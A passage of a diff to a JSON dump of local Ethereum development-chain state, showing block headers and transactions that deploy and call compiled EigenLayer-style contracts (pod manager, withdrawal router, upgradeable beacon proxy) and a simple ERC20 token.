40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a2646970667358221220399497eab4459a973826c435240cfd79916cb991f3ddb98b84a2d2a19866f8da64736f6c634300081c00330000000000000000000000004242424242424242424242424242424242424242000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "r": "0x48ff28a0970758e7b26e32ef8daec9409034a77791b721b0ef9a19ae5afe49a8", - "s": "0x3703ea69fa4e1cc6cc45819dbb8d7bb45db2d00877c921c0f7b3f8bec7ca4c61", + "input": "0x608060405234801561001057600080fd5b506040516104be3803806104be83398101604081905261002f9161013a565b61003833610047565b61004181610097565b5061016a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381163b6101185760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f60448201527f6e206973206e6f74206120636f6e747261637400000000000000000000000000606482015260840160405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561014c57600080fd5b81516001600160a01b038116811461016357600080fd5b9392505050565b610345806101796000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212207a6d133625066cab7d23f40b4e207ae40bdd3e892087cfa5f7b370330d37086964736f6c634300081b0033000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788", + "r": "0xdc49082c63b5f80e8b26e41655e28fb1d6f9622f9370a8dbf358c9bc2c175496", + "s": "0x319d9cfadc3a91b28b6ecfe9d2cfa18724892606c3b5e70c836aa071acaa6469", "yParity": "0x0", - "hash": "0x28ad3c06a0638a86d07e812df07c67955b5de018fbc6905e076224ee20f458e3" + "hash": "0x827ff68a4d4186a0f8f7dc0aff74d02be914a1ba3a24f1d64775925750ee1044" } }, "impersonated_sender": null - }, - { - "transaction": { - "EIP1559": { - "chainId": "0x7a69", - "nonce": "0x12", - "gas": "0x213d81", + } + ], + "ommers": [] + }, + { + "header": { + "parentHash": "0xe5e6a123d0b8304491d040d1cb2d2d7de538f574ac284c6fd811de7f37d2532d", + "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "beneficiary": "0x0000000000000000000000000000000000000000", + "stateRoot": "0x58beb221835218c50aa38328d8e7107cb6f5da404f2223d0f7ad8c3c1b1ac474", + "transactionsRoot": "0x15fa2565c65b64c798fc9da6bbca6269a938222df6dbe562d5c4b9be5d4372bd", + "receiptsRoot": "0x54ffca0765d69fd09f9b4567f748c3a1edc51b9915148aeb196e16df3c7b9664", + "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "logsBloom": "0x000000000400000000000000400000004000000000000000008000000000000000000000000000000000000000000000000000000080001000000000000000000000000000000000000004000000020000010000000000000002000000000000000000000200000400000001008008000000040000000000000000000000004000000001000000000000000000000000008000000000c0000000000000000000000000000000000000000000000440000000000000000000000000000000008000000020400000200000000000040000010000002008000000000000000020000000000000000000000000000000000000000000000000000000000000400000", + "difficulty": "0x0", + "number": "0x15", + "gasLimit": "0x1c9c380", + "gasUsed": "0x1dc11", + "timestamp": "0x672a8e17", + "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x0000000000000000", + "baseFeePerGas": "0x56cfd02", + "blobGasUsed": "0x0", + "excessBlobGas": "0x0", + "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData": "0x" + }, + "transactions": [ + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x18", + "gas": "0x2b83f", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "value": "0x0", + "accessList": [], + "input": "0x9623609d0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "r": "0x8a45120d596e8b8ca8db2ecee7e4c0a7ad2aa5efcdd1e669d300be5f88f5b8ee", + "s": "0x79257c8c420e081280f3232c031d4ec00ae37acf61d3606f86b08d780ce31500", + "yParity": "0x1", + "hash": "0x915e9f826dc9f67ede8161a0b96a52b57472804f5d53d99568b80d3cdf6546ec" + } + }, + "impersonated_sender": null + } + ], + "ommers": [] + }, + { + "header": { + "parentHash": "0x20dac8ce6ff6030c493e90db584bd20e205390e353be7d2283c605eb56c7db60", + "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "beneficiary": "0x0000000000000000000000000000000000000000", + "stateRoot": "0x575ac5ce24e17780d37c2d1b5483900e9459be57223ab6e57b67fd4c944de799", + "transactionsRoot": "0xe7287078f76874d559b7b8ca26afe53cbbb90dd58ac6c55b5ce262f4a75d35e9", + "receiptsRoot": "0x2c31d1c17171e678568e50788534dc3b735ab83e7e9193482c56fe98c00881ea", + "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "difficulty": "0x0", + "number": "0x18", + "gasLimit": "0x1c9c380", + "gasUsed": "0x52a9c", + "timestamp": "0x672a8e17", + "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x0000000000000000", + "baseFeePerGas": "0x3b33814", + "blobGasUsed": "0x0", + "excessBlobGas": "0x0", + "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData": "0x" + }, + "transactions": [ + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x1b", + "gas": "0x6b6f4", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "value": "0x0", + "accessList": [], + "input": "0x6080604052348015600f57600080fd5b506105298061001f6000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033", + "r": "0x35f8f82d1dbb21999710afb8af8f8deeea04b37c6d15e35dd44f8afc6ce17e47", + "s": "0x501d48a482624c5e6476a5f183a612298471da9fba3927d05083a56942d8a42d", + "yParity": "0x0", + "hash": "0x949a75614012f11102be7d2731c731cfcc2da208567d936c4d7ffc78d5bcdb88" + } + }, + "impersonated_sender": null + } + ], + "ommers": [] + }, + { + "header": { + "parentHash": "0x2ca21a5b8e4017178a119d3ee54f86f95ccfdefe5a44c502fc75f5e13245f25c", + "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "beneficiary": "0x0000000000000000000000000000000000000000", + "stateRoot": "0x50b266f8a09e882ce6fbb38da3698d2bf8d795ee00f21d63d7217f6a956bd392", + "transactionsRoot": "0x8eab2739f463a04d6589fe105eca6240c70161d6053994f308be4d5ee43322f7", + "receiptsRoot": "0xd7eeaa393ea7ccc1fb6ff1a03a97e780ca723b43714f99061c7ca94e899131e7", + "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "logsBloom": "0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800001004000000000000000000000000400000000100000000000000000000000000000000000080004000000000000000002000000000000000000000008400000000000000000000000000000000000000000020400000200000000000040000040000002008000001000000000020000000000000000001000000000000000000000000000000020000000000400000", + "difficulty": "0x0", + "number": "0x16", + "gasLimit": "0x1c9c380", + "gasUsed": "0x229f4", + "timestamp": "0x672a8e17", + "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x0000000000000000", + "baseFeePerGas": "0x4c0c684", + "blobGasUsed": "0x0", + "excessBlobGas": "0x0", + "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData": "0x" + }, + "transactions": [ + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x19", + "gas": "0x2fd25", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", + "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "value": "0x0", "accessList": [], - "input": "0x60a060405234801561001057600080fd5b50604051611eb9380380611eb983398101604081905261002f9161019c565b6001600160a01b0381166100c55760405162461bcd60e51b815260206004820152604c60248201527f44656c617965645769746864726177616c526f757465722e636f6e737472756360448201527f746f723a205f656967656e506f644d616e616765722063616e6e6f742062652060648201526b7a65726f206164647265737360a01b608482015260a4015b60405180910390fd5b6001600160a01b0381166080526100da6100e0565b506101cc565b600054610100900460ff16156101485760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100bc565b60005460ff908116101561019a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156101ae57600080fd5b81516001600160a01b03811681146101c557600080fd5b9392505050565b608051611ccb6101ee600039600081816101fa0152610be00152611ccb6000f3fe60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908